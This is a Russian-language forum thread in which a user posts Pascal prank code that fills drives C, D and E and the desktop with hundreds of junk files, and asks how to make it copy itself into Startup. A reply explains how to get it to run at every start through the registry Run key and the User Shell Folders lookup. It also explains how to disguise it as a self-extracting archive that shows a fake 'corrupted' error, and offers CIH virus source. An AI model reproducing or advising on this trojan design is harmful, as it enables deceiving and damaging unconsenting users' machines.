Как заставить прогу сделаную в Паскале само-дупликироваться?

Модератор: Злобный

Ответить
Аватара пользователя
Unknown
Продвинутый
Сообщения: 269
Зарегистрирован: Ср янв 25, 2006 21:07
Контактная информация:

Как заставить прогу сделаную в Паскале само-дупликироваться?

Сообщение Unknown »

[off][ TRANSLIT >> RUS ]:[/off]
Как заставить прогу, сделаную в Паскале, само-дyбликироваться?

Хочу я приколоться над другом, сделал прогу простенькую на паскале, весит 3кб...
Но хочу сделать так штоб при её запуске она копировалась в папку Автозапуска :gg:

Код: Выделить всё

program p1; 
uses crt; 
var c1,c2:char; 
    s:string; f:file; 
begin 
  clrscr; 
  textcolor(green); 
  write('Whill you enter the Matrix? (y/n)'); 
  for c1:='a' to 'z' do 
    for c2:='a' to 'z' do 
    begin 
      s:='c:\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\docume~1\alluse~1\desktop\'+c1+c2+'.txt'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\'+c1+c2+'.exe'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.exe'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.exe'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\'+c1+c2+'.doc'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.doc'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.doc'; 
      assign(f,s);rewrite(f);close(f); 
      s:='c:\'+c1+c2+'.tx'; 
      assign(f,s);rewrite(f);close(f); 
      s:='d:\'+c1+c2+'.tx'; 
      assign(f,s);rewrite(f);close(f); 
      s:='e:\'+c1+c2+'.tx'; 
      assign(f,s);rewrite(f);close(f); 
    end; 
  readln; 
end. 
Аватара пользователя
Unknown
Продвинутый
Сообщения: 269
Зарегистрирован: Ср янв 25, 2006 21:07
Контактная информация:

Сообщение Unknown »

Сделал саморасспаковываюшийся архив... скажу што он и есть прога но на самом деле он прогу скопирует в СтартАп

если есть идеи пж напишите
Аватара пользователя
Злобный
Завсегдатай
Сообщения: 2716
Зарегистрирован: Сб июн 18, 2005 21:05
Контактная информация:

Сообщение Злобный »

[off]Внимание, с вами говорит казахский вирус. Ввиду слабого развития IT-индустрии в нашей стране, удалите пожалуйста сами какие-нибудь важные файлы со своего жесткого диска и скопируйте меня соседу. Заранее спасибо.[/off]
Аватара пользователя
Unknown
Продвинутый
Сообщения: 269
Зарегистрирован: Ср янв 25, 2006 21:07
Контактная информация:

Сообщение Unknown »

:) слышал, смеФФно однако
Аватара пользователя
shmalex
Юзер
Сообщения: 74
Зарегистрирован: Пн дек 12, 2005 11:59
Откуда: Молдова
Контактная информация:

Сообщение shmalex »

один из вариантов это копировать себя в папку
%allusersprofile%\Start Menu\Programs\Startup
этот вариант пройдет если винда Енглиш канеша. у меня енглишь, так что сказать
как будет на русском не могу, (а на молдавском даже не представляю).
ну а если быть по изащереннее то программу лучше писать на под винду. придать ей вид самараспоковывающегося (ухх словечко) архива вирар(кошко одно задацать), иконку егзешнику дать соотв-щий и брать директорию старт апа из реестра по адрессу "hkcu software microsoft windows currentversion explorer usershellfolders" значение ключа "startup" это есть директория авто запуск для текущего плозователя. копируй ее туды и потом выдавай ошибку типа - "вааааа архив повреждеен ваще нафиг", что программа выдала нужную тебе инфу бете нужно будет поределить - запустил ее ты для для проникновения в систему, либо ты она уже зпускатеся для того чтобы заставить твоего друга боятся. ну в качестве метки можно сделать файл с директории %temp% с внушающим названием и к нам хранить время запуска т.е. врдуг твой товаресч запустет еще раз эту прогу в надежде что архив распакуется. ну т.к. разница м\у текущим временеи и то что в фаеле меньше N - продолжаем притворсять архивом,

это метод изащеренный - похожий на ходьбу вокруг да около,
еще и винда может быть не русской, а может быть и не XP
поэтому копируй прогур в %systemroot% добавь ключ в реестр по адресу hkcu software microsoft windows currentversion run" со значением "%systemroot%\ThisIsArchivNotAVirus.exe gogogo" (gogogo в данном случае это парамет запуска программы). и уже не прийдеться создовать дополнительный файл и сверять время и т.д. =) в общем смотри там не нашали сильно иначе будешь потом восстаанавливать файло товаресча =)
елси нужно могу дать исходник winchih'a для большего еффекта программы :)
удачи.
а на чистом паскале можно это сделать по первому спосбу но тогда придеться возиться с селф екстрактером, чтоб все скопировалось туда куда нужно.
творческиз тебе идей :beer: :beer:
Аватара пользователя
jsmax
Продвинутый
Сообщения: 488
Зарегистрирован: Пн мар 08, 2004 02:27
Откуда: Chisinau
Контактная информация:

Сообщение jsmax »

shmalex писал(а):(а на молдавском даже не представляю).
[off]на румынском ...[/off]

Unknown,

а вообще-то бери FreePascal и дерзай ...
Ответить

Вернуться в «Программирование»